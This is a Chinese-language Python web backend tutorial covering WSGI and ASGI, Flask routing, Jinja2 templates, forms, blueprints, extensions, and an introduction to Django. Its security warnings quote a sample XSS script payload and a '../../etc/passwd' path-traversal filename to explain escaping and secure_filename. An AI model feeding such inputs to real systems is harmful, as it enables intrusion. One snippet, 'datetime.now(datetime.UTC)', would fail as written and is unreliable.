如果你是后端初学者,先学 Flask——它让你理解 Web 框架的底层原理(路由、请求、响应)。然后学 FastAPI——它是 Python Web 的未来趋势,AI 应用后端的事实标准。Django 留到你需要做全栈项目时再学。这本教程三个框架都会覆盖。

07. WSGI 与 ASGI

你写了一个 Flask 应用,然后用 flask run 启动——但 Flask 自带的开发服务器只适合开发,不能用于生产。生产环境需要专业的 Web 服务器(Gunicorn、Uvicorn)。那你的 Flask 代码和 Gunicorn 之间是怎么"对话"的?答案就是 WSGI 和 ASGI。

一个类比

WSGI/ASGI 就像电源插座的标准。你的吹风机(Flask 应用)插到任何标准插座(Gunicorn 服务器)上都能用。如果每家的插座都不一样,你就得每到一个新地方买一个新吹风机。WSGI/ASGI 就是 Python Web 世界的"插座标准"——让框架和服务器可以自由组合。

WSGI:同步时代的标准

WSGI(Web Server Gateway Interface,PEP 3333)是 Python Web 的传统标准。它定义了 Web 服务器和 Web 应用之间的接口:

# WSGI 应用的最小实现(理解原理用,不需要手写)
def application(environ, start_response):
    """
    environ: 字典,包含所有请求信息(URL、方法、Header 等)
    start_response: 回调函数,用于发送响应状态码和 Header
    """
    # 1. 从 environ 中获取请求信息
    method = environ['REQUEST_METHOD']          # GET / POST
    path = environ['PATH_INFO']                 # /api/users

    # 2. 处理业务逻辑
    body = f"你访问了 {method} {path}"

    # 3. 发送响应
    status = '200 OK'
    headers = [('Content-Type', 'text/plain; charset=utf-8')]
    start_response(status, headers)

    # 4. 返回响应体(必须是可迭代对象)
    return [body.encode('utf-8')]

Flask 和 Django 底层就是这样的 WSGI 应用。Gunicorn 作为 WSGI 服务器,负责:

1
监听端口——接收来自 Nginx 的请求
2
解析 HTTP——把原始 HTTP 请求解析成 WSGI 的 environ 字典
3
调用应用——把 environ 传给你的 Flask/Django 应用
4
返回响应——把应用的返回值组装成 HTTP 响应发给客户端

ASGI:异步时代的新标准

WSGI 是同步的——一个请求处理完才能处理下一个。ASGI(Asynchronous Server Gateway Interface)支持异步:

# ASGI 应用的最小实现
async def application(scope, receive, send):
    """
    scope: 请求信息(类似 WSGI 的 environ)
    receive: 异步函数,接收请求体
    send: 异步函数,发送响应
    """
    # 1. 获取请求信息
    method = scope['method']
    path = scope['path']

    # 2. 异步处理(可以同时处理多个请求!)
    body = f"你访问了 {method} {path}"

    # 3. 发送响应
    await send({
        'type': 'http.response.start',
        'status': 200,
        'headers': [[b'content-type', b'text/plain']],
    })
    await send({
        'type': 'http.response.body',
        'body': body.encode('utf-8'),
    })
# ASGI 的杀手锏:WebSocket 支持(WSGI 做不到!)
async def websocket_app(scope, receive, send):
    if scope['type'] == 'websocket':
        while True:
            message = await receive()
            if message['type'] == 'websocket.connect':
                await send({'type': 'websocket.accept'})
            elif message['type'] == 'websocket.receive':
                # 回显消息
                await send({'type': 'websocket.send', 'text': f"Echo: {message['text']}"})
            elif message['type'] == 'websocket.disconnect':
                break

WSGI vs ASGI

维度WSGIASGI
同步/异步同步(阻塞)异步(非阻塞)
并发模型多进程/多线程协程(async/await)
WebSocket❌ 不支持✅ 原生支持
HTTP/2部分支持✅ 原生支持
适用框架Flask、Django(传统模式)FastAPI、Django(ASGI 模式)
服务器Gunicorn、uWSGIUvicorn、Daphne、Hypercorn
性能适合 I/O 不密集的场景高并发 I/O 密集场景优势明显
什么时候需要 ASGI?

如果你的应用涉及:WebSocket 实时通信、大量并发 API 请求(如 AI 推理网关)、Server-Sent Events(SSE)、长连接——用 ASGI。如果只是传统的 CRUD Web 应用,WSGI 完全够用。

生产服务器选型

Gunicorn
WSGI 服务器,Python 生态最流行——配置简单、稳定可靠。Flask/Django 传统部署首选。prefork 模型:一个 master 进程 + N 个 worker 进程。
Uvicorn
ASGI 服务器,基于 uvloop——性能极高。FastAPI 默认服务器。支持 HTTP/2 和 WebSocket。
Gunicorn + Uvicorn Worker
最佳实践:用 Gunicorn 管理 Uvicorn worker——gunicorn -k uvicorn.workers.UvicornWorker app:app。兼具 Gunicorn 的进程管理和 Uvicorn 的异步性能。
uWSGI
老牌 WSGI 服务器,C 语言实现——性能好但配置复杂。除非有特殊需求,否则选 Gunicorn。

框架与服务器的关系

# Flask(WSGI 应用)+ Gunicorn(WSGI 服务器)
# 安装:pip install flask gunicorn
# 开发:flask run(自带开发服务器)
# 生产:gunicorn -w 4 -b 0.0.0.0:8000 app:app

# FastAPI(ASGI 应用)+ Uvicorn(ASGI 服务器)
# 安装:pip install fastapi uvicorn
# 开发:uvicorn app:app --reload
# 生产:gunicorn -k uvicorn.workers.UvicornWorker -w 4 app:app
# -w 4 表示 4 个 worker。推荐公式:worker 数 = 2 * CPU 核心数 + 1

# Django 4.1+(同时支持 WSGI 和 ASGI)
# WSGI:gunicorn myproject.wsgi:application
# ASGI:gunicorn -k uvicorn.workers.UvicornWorker myproject.asgi:application
开发 vs 生产服务器

Flask 的 flask run 和 Django 的 runserver 都是开发服务器——单进程、无安全防护、性能差。绝对不要在生产环境使用开发服务器。生产环境必须用 Gunicorn/Uvicorn + Nginx(反向代理)。第 53 章会详细讲生产部署。

架构全景图

一个请求从用户到你的代码的完整路径:

用户浏览器 → DNS → Nginx(反向代理/负载均衡) → Gunicorn/Uvicorn(应用服务器) → 你的 Flask/Django/FastAPI 代码 → 数据库

Nginx 负责处理静态文件、SSL 终止、负载均衡、限流。Gunicorn/Uvicorn 负责运行你的 Python 代码。两者配合,缺一不可。

第二部分 · Flask 入门到实战

08. Flask 快速上手

Flask 是 Python 最受欢迎的微框架——"微"不是说它功能弱,而是说它的核心极简,只保留最核心的功能(路由、请求/响应),其他功能通过扩展实现。

一个类比

Flask 就像一个空的工具箱——里面只有一把螺丝刀和一把扳手(路由和模板),但你可以根据需要往里加锤子(SQLAlchemy)、电钻(Flask-Login)、卷尺(Flask-CORS)。Django 则是买回来就装满工具的大工具箱。

最小 Flask 应用

# app.py — 5 行代码,一个完整的 Web 服务
from flask import Flask

app = Flask(__name__)           # 创建 Flask 应用实例

@app.route('/')                 # 装饰器:把 URL / 映射到下面的函数
def hello():
    return 'Hello, World!'      # 返回响应内容

if __name__ == '__main__':
    app.run(debug=True)         # 启动开发服务器,debug=True 开启调试模式
Flask(__name__) 的含义

__name__ 是 Python 的内置变量,值为当前模块名。Flask 用它来确定模板和静态文件的查找路径——相对于调用模块所在的目录。如果传 __name__,Flask 会在你的 .py 文件同级目录下找 templates/ 和 static/ 文件夹。

环境变量与 .env 文件

Flask 通过 python-dotenv(pip install python-dotenv)自动加载项目根目录的 .env 文件。flask run 命令会自动读取 .env,但 app.run() 不会。推荐用 flask run 启动,配合 .flaskenv 文件设置 FLASK_APP=app.py 和 FLASK_DEBUG=1。

# 运行方式
# 方式 1:直接运行
python app.py

# 方式 2:用 flask 命令(推荐)
export FLASK_APP=app.py         # Linux/macOS
set FLASK_APP=app.py            # Windows
flask run                       # 启动服务器,默认 http://127.0.0.1:5000

# 方式 3:flask run 带 debug(自动重载)
flask run --debug
debug 模式的作用

开发时一定要开 debug 模式:① 代码修改后自动重启服务器(不用手动重启);② 出错时在浏览器显示详细的错误堆栈信息;③ 内置交互式调试器(可以在浏览器里执行 Python 代码)。生产环境绝对不能开 debug 模式——它会暴露源码和服务器信息,是严重的安全漏洞。

项目目录结构

当项目变大时,不要把所有代码塞到一个文件里。推荐的 Flask 项目结构:

myproject/
├── app/
│   ├── __init__.py          # 应用工厂函数 create_app()
│   ├── routes/              # 路由模块(按功能拆分)
│   │   ├── __init__.py
│   │   ├── auth.py          # 认证相关路由
│   │   └── users.py         # 用户相关路由
│   ├── models/              # 数据模型
│   │   ├── __init__.py
│   │   └── user.py
│   ├── templates/           # HTML 模板
│   │   └── index.html
│   └── static/              # 静态文件(CSS/JS/图片)
│       ├── css/
│       └── js/
├── tests/                   # 测试代码
│   └── test_app.py
├── config.py                # 配置文件
├── requirements.txt         # 依赖列表
├── .env                     # 环境变量(不要提交到 Git!)
└── .gitignore

配置管理

不要把密码、密钥写死在代码里。Flask 支持多种配置方式:

# config.py — 配置类
import os

class Config:
    SECRET_KEY = os.environ.get('SECRET_KEY', 'dev-secret-key')
    SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_URL', 'sqlite:///app.db')
    DEBUG = False

class DevelopmentConfig(Config):
    DEBUG = True

class ProductionConfig(Config):
    DEBUG = False
    SECRET_KEY = os.environ.get('SECRET_KEY')  # 生产环境必须设置

class TestingConfig(Config):
    TESTING = True
    SQLALCHEMY_DATABASE_URI = 'sqlite:///:memory:'

# 配置名 → 配置类的映射
config_map = {
    'development': DevelopmentConfig,
    'production': ProductionConfig,
    'testing': TestingConfig,
}
# app/__init__.py — 应用工厂模式
from flask import Flask

def create_app(config_name='development'):
    app = Flask(__name__)

    # 加载配置
    from config import config_map
    app.config.from_object(config_map[config_name])

    # 注册蓝图
    from app.routes.users import users_bp
    app.register_blueprint(users_bp, url_prefix='/api/users')

    return app
应用工厂模式的好处

用 create_app() 函数而不是全局 app = Flask(__name__),好处是:① 可以创建多个不同配置的实例(测试用一个、生产用一个);② 避免循环导入问题;③ 方便写单元测试。Flask 官方文档推荐这种方式。

新手常见错误

① 忘记设置 SECRET_KEY——Flask 的 Session、CSRF 保护都依赖它。② 把 .env 文件提交到 Git——密码泄露!在 .gitignore 中加上 .env。③ 在生产环境用 app.run()——它只适合开发,生产环境必须用 Gunicorn。

Flask 上下文机制

Flask 最让人困惑的概念就是"上下文"——为什么 request 可以在函数里直接用,却不是函数参数?

# Flask 有两种上下文:
# 1. 应用上下文(Application Context)—— 存储 app 相关信息
#    - current_app:当前应用实例(获取配置、注册扩展)
#    - g:请求级别的全局变量(存储数据库连接、当前用户)

# 2. 请求上下文(Request Context)—— 存储请求相关信息
#    - request:当前请求对象(获取参数、Header、Cookie)
#    - session:会话数据(跨请求存储用户状态)

# 为什么需要上下文?
# Flask 使用"本地线程"(LocalStack)实现上下文——每个请求有自己的栈
# 这样不同请求的 request、g 互不干扰(即使同时处理多个请求)

from flask import request, g, current_app, session

@app.before_request
def before_request():
    # g 是请求级别的全局变量,每个请求独立
    g.db = get_db_connection()  # 存储数据库连接
    g.user = get_current_user() # 存储当前用户

@app.route('/api/users')
def get_users():
    # request 自动绑定到当前请求(不需要传参)
    page = request.args.get('page', 1, type=int)

    # g 在整个请求生命周期内可用
    user = g.user
    db = g.db

    return jsonify({'users': db.query(User).all()})

@app.teardown_request
def teardown_request(exception):
    # 请求结束后自动关闭数据库连接
    db = g.pop('db', None)
    if db:
        db.close()

# ❌ 常见错误:在请求上下文外访问 request
def my_function():
    print(request.args)  # 报错!没有请求上下文

# ✅ 正确:在请求处理函数中访问
@app.route('/test')
def test():
    print(request.args)  # 正确
    return 'ok'

# 应用上下文的使用
@app.route('/config')
def get_config():
    # current_app 获取应用配置
    db_url = current_app.config['DATABASE_URL']
    return {'db_url': db_url}
上下文的作用域

① request 和 g 在每次请求结束后自动销毁。② current_app 在应用生命周期内有效。③ session 跨请求有效(存储在 Cookie 中)。④ 不要在异步代码或后台线程中直接访问 request——它只在主请求线程中有效。

09. 路由与请求处理

路由是 Web 框架的核心——它决定了"哪个 URL 由哪个函数处理"。就像电话接线台:用户拨打 10086(访问 /api/users),接线员(Flask 路由)把电话转到客服部门(处理函数)。

路由基础

from flask import Flask, request, jsonify, abort, redirect, url_for

app = Flask(__name__)

# 基础路由
@app.route('/')
def index():
    return '首页'

# 带路径参数
@app.route('/users/<int:user_id>')       # <类型:变量名>
def get_user(user_id):
    return f'用户 ID: {user_id}'

# 支持的类型转换器
# <string:name>    — 默认,接受不带斜杠的字符串
# <int:id>         — 整数
# <float:price>    — 浮点数
# <path:filepath>  — 包含斜杠的路径
# <uuid:id>        — UUID 字符串

# 限制 HTTP 方法
@app.route('/users', methods=['GET', 'POST'])
def users():
    if request.method == 'GET':
        return jsonify(users_list)
    elif request.method == 'POST':
        data = request.get_json()
        return jsonify(data), 201        # 返回 201 Created

请求对象 request

Flask 的 request 对象包含客户端发来的所有信息:

from flask import request

@app.route('/api/search')
def search():
    # 查询参数 ?q=python&page=1
    keyword = request.args.get('q', '')         # 获取查询参数
    page = request.args.get('page', 1, type=int) # 自动转为 int

    # 请求头
    token = request.headers.get('Authorization')
    content_type = request.content_type

    # 请求体(JSON)
    if request.is_json:
        data = request.get_json()               # 解析 JSON body
        name = data.get('name')

    # 表单数据
    username = request.form.get('username')

    # 文件上传
    file = request.files.get('avatar')

    # 客户端 IP(经过 Nginx 代理后)
    ip = request.remote_addr
    real_ip = request.headers.get('X-Forwarded-For', ip)

    return jsonify({"keyword": keyword, "page": page})

响应格式

# 1. 返回字符串(最简单)
@app.route('/ping')
def ping():
    return 'pong', 200                        # (内容, 状态码)

# 2. 返回 JSON(API 最常用)
@app.route('/api/user')
def get_user():
    return jsonify({
        "id": 1,
        "name": "张三",
        "email": "zhangsan@example.com"
    })

# 3. 返回 HTML 模板
from flask import render_template
@app.route('/home')
def home():
    return render_template('index.html', title='首页')

# 4. 重定向
@app.route('/old-url')
def old_url():
    return redirect(url_for('new_url'))       # 302 重定向

@app.route('/new-url')
def new_url():
    return '新页面'

# 为什么用 url_for('new_url') 而不是 redirect('/new-url')?
# url_for 根据函数名生成 URL,好处:① 改路由不用改代码;② 自动生成蓝图前缀;
# ③ 加 _external=True 生成完整 URL(含域名),用于邮件链接、回调地址等。

# 5. 返回自定义响应头
@app.route('/api/data')
def data():
    response = jsonify({"data": [1, 2, 3]})
    response.headers['X-Total-Count'] = 3
    response.headers['Cache-Control'] = 'max-age=3600'
    return response

错误处理

# 方法 1:abort 直接返回错误
@app.route('/api/users/<int:user_id>')
def get_user(user_id):
    user = db.get_user(user_id)
    if not user:
        abort(404)                            # 返回 404 Not Found
    return jsonify(user)

# 方法 2:自定义错误页面
@app.errorhandler(404)
def not_found(error):
    return jsonify({"error": "资源不存在", "code": 404}), 404

@app.errorhandler(500)
def server_error(error):
    return jsonify({"error": "服务器内部错误", "code": 500}), 500
路由设计原则

① URL 用名词复数(/users 不是 /getUser);② 用 HTTP 方法表示操作(GET 查、POST 增、PUT 改、DELETE 删);③ 路径参数用名词(/users/123);④ 查询参数用过滤(/users?role=admin)。

request.get_json() 的坑

如果请求的 Content-Type 不是 application/json,get_json() 会返回 None(不报错!)。加上 force=True 可以忽略 Content-Type 强制解析:request.get_json(force=True)。但更好的做法是让前端正确设置 Content-Type。

10. 模板引擎 Jinja2

如果你的后端需要返回 HTML 页面(而不是纯 API),就需要模板引擎。Jinja2 是 Flask 内置的模板引擎——它把 Python 变量"填"到 HTML 模板中,生成最终的 HTML 页面。

一个类比

模板就像填空题。试卷(模板)上有"{{ 姓名 }}"和"{{ 答案 }}"的空格,阅卷老师(Jinja2)拿到学生信息后,把名字和答案填进去,生成一份完整的答卷(HTML 页面)。

模板基础语法

<!-- templates/index.html -->
<!DOCTYPE html>
<html>
<head><title>{{ title }}</title></head>
<body>
    {# 这是注释,不会出现在 HTML 中 #}

    <h1>欢迎, {{ user.name }}!</h1>     <!-- 变量输出 -->
    <p>{{ user.email | upper }}</p>     <!-- 过滤器:转大写 -->

    {% if user.is_admin %}               <!-- 条件判断 -->
        <span>管理员</span>
    {% else %}
        <span>普通用户</span>
    {% endif %}

    <ul>
    {% for item in items %}              <!-- 循环 -->
        <li>{{ loop.index }}. {{ item.name }}</li>
    {% endfor %}
    </ul>
</body>
</html>
# Flask 视图函数
@app.route('/')
def index():
    return render_template('index.html',
        title='首页',
        user={'name': '张三', 'email': 'zhangsan@example.com', 'is_admin': True},
        items=[{'name': '苹果'}, {'name': '香蕉'}, {'name': '橙子'}]
    )

模板继承(最重要的特性)

每个页面都有相同的导航栏、页脚、CSS 引用。模板继承让你不用在每个页面重复这些代码:

<!-- templates/base.html — 父模板 -->
<!DOCTYPE html>
<html>
<head>
    <title>{% block title %}默认标题{% endblock %}</title>
    <link rel="stylesheet" href="{{ url_for('static', filename='css/style.css') }}">
</head>
<body>
    <nav>导航栏(所有页面共享)</nav>

    {% block content %}{% endblock %}    <!-- 子模板填充这里 -->

    <footer>页脚(所有页面共享)</footer>
</body>
</html>
<!-- templates/home.html — 子模板 -->
{% extends "base.html" %}               <!-- 继承父模板 -->

{% block title %}首页{% endblock %}      <!-- 覆盖 title 块 -->

{% block content %}                      <!-- 填充 content 块 -->
<h1>欢迎来到首页</h1>
<p>这是主页内容</p>
{% endblock %}

常用过滤器

过滤器作用示例
{{ value | default('N/A') }}空值时显示默认值{{ user.phone | default('未填写') }}
{{ value | upper / lower }}大小写转换{{ name | upper }}
{{ value | length }}长度{{ items | length }} 个
{{ value | truncate(50) }}截断文本{{ content | truncate(100) }}
{{ value | safe }}标记为安全(不转义 HTML){{ html_content | safe }}
{{ value | tojson }}转为 JSONvar data = {{ data | tojson }};

宏(Macro):可复用的模板组件

{# templates/macros/form.html — 定义宏 #}
{% macro input(name, label, type='text', value='') %}
<div class="form-group">
    <label for="{{ name }}">{{ label }}</label>
    <input type="{{ type }}" name="{{ name }}" id="{{ name }}"
           value="{{ value }}" class="form-control">
</div>
{% endmacro %}

{# 使用宏 #}
{% from "macros/form.html" import input %}
<form>
    {{ input('username', '用户名') }}
    {{ input('email', '邮箱', type='email') }}
    {{ input('password', '密码', type='password') }}
</form>
静态资源引用

用 url_for('static', filename='css/style.css') 引用静态文件,而不是硬编码路径。这样即使部署到子目录(如 /app/),路径也能正确解析。静态文件放在 static/ 目录下。

XSS 安全警告

Jinja2 默认会自动转义 HTML(< 变成 &lt;),防止 XSS 攻击。只有在你确定内容安全时才用 | safe。永远不要对用户输入的内容使用 | safe——用户可能在评论里写 <script>alert('XSS')</script>。

11. 表单处理与数据校验

用户提交的任何数据都不可信——他们可能在年龄字段填"abc",在邮箱字段填脚本代码。表单校验是后端的第一道防线。

Flask-WTF 表单类

# forms.py
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, IntegerField, SelectField, FileField
from wtforms.validators import DataRequired, Email, Length, NumberRange, EqualTo

class RegistrationForm(FlaskForm):
    username = StringField('用户名', validators=[
        DataRequired(message='用户名不能为空'),
        Length(min=3, max=20, message='用户名长度3-20个字符')
    ])
    email = StringField('邮箱', validators=[
        DataRequired(message='邮箱不能为空'),
        Email(message='邮箱格式不正确')
    ])
    age = IntegerField('年龄', validators=[
        NumberRange(min=0, max=150, message='年龄必须在0-150之间')
    ])
    password = PasswordField('密码', validators=[
        DataRequired(message='密码不能为空'),
        Length(min=6, message='密码至少6个字符')
    ])
    confirm_password = PasswordField('确认密码', validators=[
        EqualTo('password', message='两次密码不一致')
    ])
    avatar = FileField('头像')

class LoginForm(FlaskForm):
    username = StringField('用户名', validators=[DataRequired()])
    password = PasswordField('密码', validators=[DataRequired()])
# routes/auth.py
from flask import Blueprint, render_template, redirect, url_for, flash
from app.forms import RegistrationForm

auth_bp = Blueprint('auth', __name__)

@auth_bp.route('/register', methods=['GET', 'POST'])
def register():
    form = RegistrationForm()
    if form.validate_on_submit():          # POST 且校验通过
        from werkzeug.security import generate_password_hash
        # 创建用户——密码必须哈希存储,绝不能存明文!
        user = create_user(
            username=form.username.data,
            email=form.email.data,
            password=generate_password_hash(form.password.data)
        )
        flash('注册成功!', 'success')      # 闪现消息
        return redirect(url_for('auth.login'))
    return render_template('register.html', form=form)  # GET 或校验失败

CSRF 防护

CSRF(Cross-Site Request Forgery)攻击:恶意网站伪造你的身份发请求。Flask-WTF 自动为每个表单生成 CSRF Token:

<!-- 模板中 -->
<form method="POST">
    {{ form.hidden_tag() }}                <!-- 自动生成 CSRF token 隐藏字段 -->
    {{ form.username.label }} {{ form.username }}
    <button type="submit">注册</button>
</form>
CSRF 防护原理

服务器生成一个随机 token,放在表单的隐藏字段里。提交时服务器验证 token 是否匹配。攻击者不知道 token 的值,所以无法伪造请求。Flask-WTF 的 form.hidden_tag() 自动处理这一切。

文件上传

from werkzeug.utils import secure_filename
import os

ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif', 'pdf'}

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@auth_bp.route('/upload', methods=['POST'])
def upload_file():
    file = request.files.get('avatar')
    if not file or file.filename == '':
        flash('请选择文件')
        return redirect(request.url)

    if not allowed_file(file.filename):
        flash('不支持的文件类型')
        return redirect(request.url)

    # 安全处理:secure_filename 防止路径穿越攻击
    filename = secure_filename(file.filename)
    # 加时间戳防重名
    import time
    filename = f"{int(time.time())}_{filename}"
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    file.save(filepath)

    return jsonify({"url": f"/uploads/{filename}"})
文件上传安全

① 永远用 secure_filename() 处理文件名——防止 ../../etc/passwd 路径穿越。② 校验文件扩展名和 MIME 类型。③ 不要把上传文件放在 Web 能直接访问的目录。④ 限制文件大小:app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024(16MB)。

12. 蓝图与中间件

当你的 Flask 应用有几十个路由时,全塞在一个文件里会变成噩梦。Blueprint(蓝图)让你把路由按功能拆分到不同文件。

一个类比

Blueprint 就像公司的部门。市场部(auth 蓝图)管登录注册,产品部(users 蓝图)管用户管理,技术部(admin 蓝图)管后台。每个部门有自己的职责和人员,但都属于同一家公司(Flask 应用)。

Blueprint 使用

# app/routes/users.py — 用户蓝图
from flask import Blueprint, jsonify

users_bp = Blueprint('users', __name__)    # 创建蓝图

@users_bp.route('/')                      # 路径相对于 url_prefix
def list_users():
    return jsonify([{"id": 1, "name": "张三"}])

@users_bp.route('/<int:id>')
def get_user(id):
    return jsonify({"id": id, "name": "张三"})

# app/routes/auth.py — 认证蓝图
auth_bp = Blueprint('auth', __name__)

@auth_bp.route('/login', methods=['POST'])
def login():
    return jsonify({"token": "xxx"})

@auth_bp.route('/register', methods=['POST'])
def register():
    return jsonify({"message": "注册成功"})
# app/__init__.py — 注册蓝图
def create_app():
    app = Flask(__name__)

    from app.routes.users import users_bp
    from app.routes.auth import auth_bp

    app.register_blueprint(users_bp, url_prefix='/api/users')  # 统一前缀
    app.register_blueprint(auth_bp, url_prefix='/auth')        # 认证前缀

    return app

请求钩子(中间件)

钩子让你在请求处理前后执行通用逻辑(如日志、认证检查、数据库连接):

# 在蓝图或 app 上注册钩子
@users_bp.before_request                    # 每个请求前执行
def before():
    # 常见用途:检查登录状态
    if request.endpoint not in ('auth.login', 'auth.register'):
        token = request.headers.get('Authorization')
        if not token:
            return jsonify({"error": "未登录"}), 401

@users_bp.after_request                     # 每个请求后执行
def after(response):
    # 常见用途:添加 CORS 头、记录日志
    response.headers['X-Request-Time'] = time.time()
    return response                         # 必须返回 response

@users_bp.teardown_request                  # 请求结束时执行(即使出错)
def teardown(exception):
    if exception:
        from flask import current_app
        current_app.logger.error(f'请求异常: {exception}')

@app.before_request                         # 全局:所有请求前执行
def global_before():
    g.start_time = time.time()              # g 是请求级别的全局变量

@app.after_request                          # 全局:所有请求后执行
def global_after(response):
    elapsed = time.time() - g.start_time
    app.logger.info(f'{request.path} 耗时 {elapsed:.3f}s')
    return response

全局错误处理

# 自定义错误页面(JSON 格式,适合 API)
@app.errorhandler(400)
def bad_request(error):
    return jsonify({"code": 400, "message": "请求参数错误"}), 400

@app.errorhandler(404)
def not_found(error):
    return jsonify({"code": 404, "message": "资源不存在"}), 404

@app.errorhandler(405)
def method_not_allowed(error):
    return jsonify({"code": 405, "message": "HTTP方法不允许"}), 405

@app.errorhandler(500)
def internal_error(error):
    return jsonify({"code": 500, "message": "服务器内部错误"}), 500
工厂模式完整示例

把配置加载、蓝图注册、错误处理、数据库初始化全部放在 create_app() 里,让应用的创建过程清晰可控。这也是 Flask 官方推荐的最佳实践。

before_request 的返回值

如果 before_request 返回了响应(如 return jsonify(...), 401),后续的视图函数不会执行。利用这个特性做认证拦截。如果不返回任何东西(return None),请求正常继续。

13. Flask 扩展生态

Flask 的哲学是"核心极简,扩展丰富"。这一章介绍后端开发中最常用的 5 个扩展。

Flask-SQLAlchemy:数据库 ORM

# 安装:pip install flask-sqlalchemy
from flask_sqlalchemy import SQLAlchemy
from datetime import datetime

db = SQLAlchemy()

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    email = db.Column(db.String(120), unique=True, nullable=False)
    created_at = db.Column(db.DateTime, default=lambda: datetime.now(datetime.UTC))
    # 注意:datetime.UTC 需要 Python 3.11+。兼容写法:datetime.now(timezone.utc)

    def to_dict(self):
        return {"id": self.id, "username": self.username, "email": self.email}

# CRUD 操作
user = User(username="张三", email="zhangsan@example.com")
db.session.add(user)          # 插入
db.session.commit()

users = User.query.all()      # 查询所有
user = db.session.get(User, 1)  # 按 ID 查询(SQLAlchemy 2.0+ 推荐写法)
user = User.query.filter_by(username="张三").first()

user.email = "new@example.com"  # 更新
db.session.commit()

db.session.delete(user)         # 删除
db.session.commit()
务必处理 commit 异常!

如果 commit() 失败(如唯一约束冲突),Session 会进入不一致状态,后续所有操作都会报错。正确写法:

try:
    db.session.add(user)
    db.session.commit()
except Exception:
    db.session.rollback()   # 回滚,恢复 Session 到正常状态
    raise
finally:
    db.session.close()      # 释放连接回连接池

Flask-Login:用户认证

# 安装:pip install flask-login
from flask_login import LoginManager, UserMixin, login_user, logout_user, login_required, current_user

from werkzeug.security import generate_password_hash, check_password_hash  # 哈希 + 验证

login_manager = LoginManager()
login_manager.login_view = 'login'          # 未登录时重定向到此端点(必须设置!)
login_manager.login_message = '请先登录'    # 重定向时的提示消息

class User(UserMixin, db.Model):         # 继承 UserMixin
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80))
    password_hash = db.Column(db.String(128))

@login_manager.user_loader
def load_user(user_id):
    return db.session.get(User, int(user_id))  # 根据 ID 加载用户

# 登录
@app.route('/login', methods=['POST'])
def login():
    user = User.query.filter_by(username=request.json['username']).first()
    if user and check_password_hash(user.password_hash, request.json['password']):
        login_user(user)                  # 设置 Session
        return jsonify({"message": "登录成功"})
    return jsonify({"error": "用户名或密码错误"}), 401

# 需要登录才能访问的接口
@app.route('/profile')
@login_required                           # 未登录自动返回 401
def profile():
    return jsonify({"username": current_user.username})

Flask-Migrate:数据库迁移

# 安装:pip install flask-migrate
from flask_migrate import Migrate

migrate = Migrate(app, db)

# 命令行操作
# flask db init              — 初始化迁移仓库(只需一次)
# flask db migrate -m "描述"  — 自动生成迁移脚本
# flask db upgrade            — 执行迁移(建表/改表)
# flask db downgrade          — 回滚上一次迁移

Flask-CORS:跨域资源共享

# 安装:pip install flask-cors
from flask_cors import CORS

# 允许所有域名访问(开发环境)
CORS(app)

# 生产环境:限制允许的域名
CORS(app, origins=["https://www.yourdomain.com"])

# 单独配置某些路由
CORS(users_bp, origins=["https://admin.yourdomain.com"])
为什么需要 CORS?

浏览器的同源策略禁止前端(http://localhost:3000)直接请求不同源的后端(http://localhost:5000)。CORS 通过响应头告诉浏览器"我允许这个域名访问我"。前后端分离开发时必须配置 CORS。

Flask-Mail:发送邮件

# 安装:pip install flask-mail
from flask_mail import Mail, Message

mail = Mail(app)

# 配置(config.py)
MAIL_SERVER = 'smtp.qq.com'
MAIL_PORT = 465
MAIL_USE_SSL = True
MAIL_USERNAME = 'your@qq.com'
MAIL_PASSWORD = '授权码'         # QQ 邮箱需要使用授权码,不是登录密码

# 发送邮件
def send_email(to, subject, body):
    msg = Message(subject, recipients=[to], body=body)
    mail.send(msg)

# 发送 HTML 邮件
def send_html_email(to, subject, template):
    msg = Message(subject, recipients=[to])
    msg.html = render_template(template)
    mail.send(msg)
扩展初始化最佳实践

在工厂函数中初始化所有扩展,避免循环导入:

# app/extensions.py — 统一管理扩展实例
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager
from flask_migrate import Migrate
from flask_cors import CORS
from flask_mail import Mail

db = SQLAlchemy()
login_manager = LoginManager()
migrate = Migrate()
cors = CORS()
mail = Mail()

# app/__init__.py — 在 create_app 中初始化
def create_app():
    app = Flask(__name__)
    db.init_app(app)
    login_manager.init_app(app)
    migrate.init_app(app, db)
    cors.init_app(app)
    mail.init_app(app)
    return app
不要过度依赖扩展

Flask 扩展的版本更新可能滞后于 Flask 本身。如果一个扩展很久没更新了,考虑直接用底层库(如直接用 SQLAlchemy 而不是 Flask-SQLAlchemy)。核心逻辑不要绑死在某个扩展上。

第三部分 · Django 全栈开发

14. Django 快速上手

Django 是 Python 生态中最"全"的 Web 框架——ORM、Admin 后台、认证系统、表单处理、迁移工具全内置。Instagram、Pinterest、Mozilla 都用 Django。

一个类比

如果 Flask 是乐高积木(自己搭),Django 就是宜家套装(买回来装好就能用)。Django 的口号是 "The web framework for perfectionists with deadlines"(给有截止日期的完美主义者用的框架)。

MVT 架构

1
Model(模型)——定义数据结构,负责数据库操作。相当于"数据层"。
2
View(视图)——处理业务逻辑,接收请求返回响应。相当于"控制层"。
3
Template(模板)——生成 HTML 页面。相当于"展示层"。

请求生命周期(Request Lifecycle)

# Django 请求的完整流程:

# HTTP Request
#     ↓
# [1] WSGI/ASGI 服务器(Gunicorn/Uvicorn)
#     ↓
# [2] 中间件(Middleware)—— 请求阶段(从上到下)
#     - SecurityMiddleware:HTTPS 重定向、HSTS
#     - SessionMiddleware:加载 Session
#     - CsrfViewMiddleware:CSRF 验证
#     - AuthenticationMiddleware:加载用户
#     ↓
# [3] URL 路由(URL Router)
#     - 匹配 urlpatterns,找到对应的 view 函数
#     ↓
# [4] 视图函数(View)
#     - 处理业务逻辑
#     - 查询数据库(Model)
#     - 渲染模板(Template)
#     ↓
# [5] 中间件(Middleware)—— 响应阶段(从下到上)
#     - 添加安全 Header
#     - 设置 Cookie
#     ↓
# HTTP Response

# 与 MVC 的对比:
# Django MVT:Model + View + Template
# 传统 MVC:Model + Controller + View
